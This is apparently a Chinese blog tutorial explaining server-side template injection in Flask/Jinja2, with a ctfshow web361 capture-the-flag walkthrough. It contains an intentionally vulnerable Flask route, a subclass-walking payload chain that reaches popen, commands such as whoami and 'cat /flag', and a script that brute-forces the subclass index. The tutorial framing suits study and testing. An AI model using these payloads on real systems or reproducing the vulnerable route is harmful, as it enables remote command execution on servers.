SSTI模板注入漏洞讲解
创始人
2025-05-29 09:50:41
0

SSTI模板注入

SSTI的概念

SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
本文章只研究以python语言为主的SSTI。

SSTI漏洞原理

什么是模板

模板可以被认为是一段固定好格式,等着开发人员或者用户来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。

模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

漏洞原理

服务端接收了攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。

以下面一段python代码为例:

from flask import Flask, request
from jinja2 import Templateapp = Flask(__name__)@app.route("/test")
def index():name = request.args.get('name')t = Template("Hello " + name)return t.render()if __name__ == "__main__":app.run()

在这里插入图片描述
可以看到服务端的逻辑是接收前端输入的name参数,然后将其在后端拼接成"hello "+name的形式再返回给前端展示。可以看到当我们输入参数name=world的时候,前端展示出hello world的页面。

但是当我们输入name={{7*7}}的时候,页面展示的却不是hello {{7*7}}而是hello 49。
在这里插入图片描述
这是因为在模板中{{}}在模板中的作用是用来将表达式打印到模板输出。常见的还有{%…%}和{#…#}。

{% ... %} 用来声明变量或控制结构
{{ ... }} 用来将表达式打印到模板输出
{# ... #} 表示未包含在模板输出中的注释在模板注入中,我们常用的是{{}} 和 {%%}

检测是否存在模板注入

检测是否存在SSTI模板注入的方法就是在参数添加或者url后面添加{{7*7}},如果页面返回了7*7的结果49,即可证明存在模板注入漏洞。

一般的注入流程

在检测到存在SSTI模板注入漏洞之后->获得内置类所对应的类->获得object基类->获得所有子类->获得可以执行shell命令的子类->找到该子类可以执行shell命令的方法->执行shell命令

1、获得内置类对应的类

''.__class__
().__class__
[].__class__
"".__class____class__可以获得内置类所对应的类

在这里插入图片描述

2、获得object基类

''__class__.__base__
().__class__.__base__
[].__class__.__base__
"".__class__.__base__''.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[1]
"".__class__.__mro__[1]__base__获得最高的父类
__mro__获得所有的父类

在这里插入图片描述

3、获得所有子类

''__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
"".__class__.__base__.__subclasses__()''.__class__.__mro__[1].__subclasses__()
().__class__.__mro__[1].__subclasses__()
[].__class__.__mro__[1].__subclasses__()
"".__class__.__mro__[1].__subclasses__()__subclasses__()获得所有的子类

在这里插入图片描述

4、获得可以执行shell命令的子类

我们一般常用的是os._wrap_close子类,因为该类具有popen方法,该方法可以执行系统命令。
我们可以通过下面这段代码找到还有popen方法的子类:

num = 0
for item in ''.__class__.__base__.__subclasses__():try:if 'popen' in item.__init__.__globals__:print(num, item)num += 1except:num += 1# __init__.__globals__可以获得类中的所有变量和方法

在这里插入图片描述
可以看到该子类的索引值为118。
注意根据python版本的不同或者flask、jinjia2的版本不同,子类的索引值也可能会随之不同!!!

5、找到该子类可以执行shell命令的方法

''.__class__.__base__.__subclasses__()[118].__init__.__globals__['popen']__init__.__globals__可以获得类中所有的变量以及方法

在这里插入图片描述

6、执行shell命令

我们执行一下whoami的命令,这里一定要记得用.read()来读取一下,因为popen方法返回的是一个file对象。

''.__class__.__base__.__subclasses__()[118].__init__.__globals__['popen']('whoami').read()

在这里插入图片描述

这就是我们利用SSTI漏洞的一个基本流程。

例题展示-ctfshow web入门361

在这里插入图片描述
点击题目链接。
在这里插入图片描述

1、判断是否存在SSTI模板注入漏洞

由题目提示,“名字就是考点”,可以猜测,改题目url的参数名应为name,输入name=world测试一下。
在这里插入图片描述
可以看到world被输出。
接下我们开始测试该站是否存在SSTI漏洞。
我们输入name={{7*7}}看页面是否输出49?
在这里插入图片描述
可以看到页面输出了49,代表存在SSTI模板注入漏洞。

2、获得内置类所对应的类

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__}}

在这里插入图片描述

3、获得object基类

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__}}

在这里插入图片描述

4、获得所有子类

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()}}

在这里插入图片描述

5、获得可以执行shell命令的子类

由于该网站的python版本以及模板引擎的版本可能与我们本地测试的版本不一样,所以我们不能使用本地测试所得到可以执行shell命令子类的索引值。

这样我们可以通过一段python脚本来判断可以执行shell命令子类的索引值。

我们以子类是否存在popen方法为例:
脚本使用requests模块请求页面,从页面的源代码观察是否含有’popen’。

import requestsfor num in range(500):try:url = "http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()["+str(num)+"].__init__.__globals__['popen']}}"res = requests.get(url=url).textif 'popen' in res:print(num)except:pass

在这里插入图片描述
成功找到索引值。

6、执行shell命令

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

在这里插入图片描述
执行命令成功,成功列出根目录内容。
接下来就是获取flag了。

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

在这里插入图片描述
成功拿到flag值。

总结

SSTI模板注入漏洞就是服务端没有对用户输入的内容进行过滤,导致服务器没有对输入的内容尽进行任何处理就将其作为Web应用模板内容的一部分,使得模板引擎在进行编译渲染的过程中,执行了用户插入的破坏模板的语句。

我们一般的攻击方式就是想办法获得object的所有子类,因为子类中包含有可以执行命令或文件读取的方法,我们获得这些方法就可以对目标服务器进行攻击。

类似文章:https://www.cnblogs.com/bmjoker/p/13508538.html

相关内容

热门资讯

DJ2-5 生产者-消费者问题 生产者与消费者是一个广义的概念,可以代表一类具有相同属性的进程。 生产者和消费者进程共...
【普洱文旅】端午至,普洱人的“... 端午佳节至,粽香飘满城! 当端午撞上普洱特产 碳水炸弹直接升级成“快乐Plus版”! 茶叶咖啡齐上阵...
学习软件测试怎么能缺少练手的软... 你好,我是凡哥。 最近收到许多自学自动化测试的小伙伴私信,学习了理论知识...
后疫情时代的旅游复苏:新趋势与... 随着全球疫情逐渐缓解,旅游业正迎来复苏的曙光。各国政府放宽旅行限制,疫苗接种率的提高使得人们重新开始...
【Windows安装虚拟机】W... 【写在前面】其实虚拟机的安装大学时候就在学校机房接触过,后面前端做久了就彻底的忘了&#...
【Unity】2D展示弧形滚动... 2D 弧形滚动条 public List songItems = new List();  ...
CCF BDCI“大数据平台安... 日前,数据安全领域的人工智能算法顶级赛事“CCF大数据与计算智能大赛·数字安全公开赛”...
Django实现图书馆管理系统 1.创建项目library和应用程序 django-admin startproject libra...
python UDP、TCP ... 👨‍💻个人简介: 深度学习图像领域工作者 dz...
四川旅游攻略自由行攻略跟团游6... 四川之美:自然与文化的完美融合 四川旅游推荐!当地导游-乐乐:185 8335 5758(加他微信-...
【软考笔记】2. 操作系统基本... 进程管理 进程的状态前驱图PV 操作死锁问题 进程的状态 三状态:运行态、就绪态、等待...
【小猫爪】AUTOSAR学习笔... 【小猫爪】AUTOSAR学习笔记13-功能安全之WdogM模块前言1 看门狗架构2 WdogM模块功...
使用流水线插件实现持续集成、持... 流水线插件 是基于 Rainbond 插件体系 扩展实现,通过插件化的方式࿰...
DRBG_Instantiat... rd_key  0x3b +1 0x3c =   60 60个int = 2...
餐厅菜单变“考卷”?网友吵翻了... 餐厅菜单变“考卷”?网友吵翻了,这到底是创意还是噱头?最近,一家餐厅整了个“试卷菜单”,直接火出圈了...
西瓜节上有“宝藏”!天津静海台... 天津北方网讯:5月31日傍晚,在静海台头镇北二堡村,“瓜田奇遇 清凉之旅”第十一届台头西瓜文化旅游节...
机器学习笔记之集成学习(五)梯... 机器学习笔记之集成学习——梯度提升树[GBDT]引言回顾:Boosting\text{...
vmware中centos7实... 前言 在开发收银系统SAAS版本时,采用的是centos服务器,经常需要...
开源物联网平台推荐介绍 开源物联网平台调研 文章目录开源物联网平台调研一、 调研推荐开源物联网平台及背景介绍二、社区支持度与...
“端午”假期刚开始,无锡这里上... 迎着今年“端午”假期的开启,5月30日晚,位于无锡市惠山古镇景区的“宝善坊”正式开街,上演“人从众”...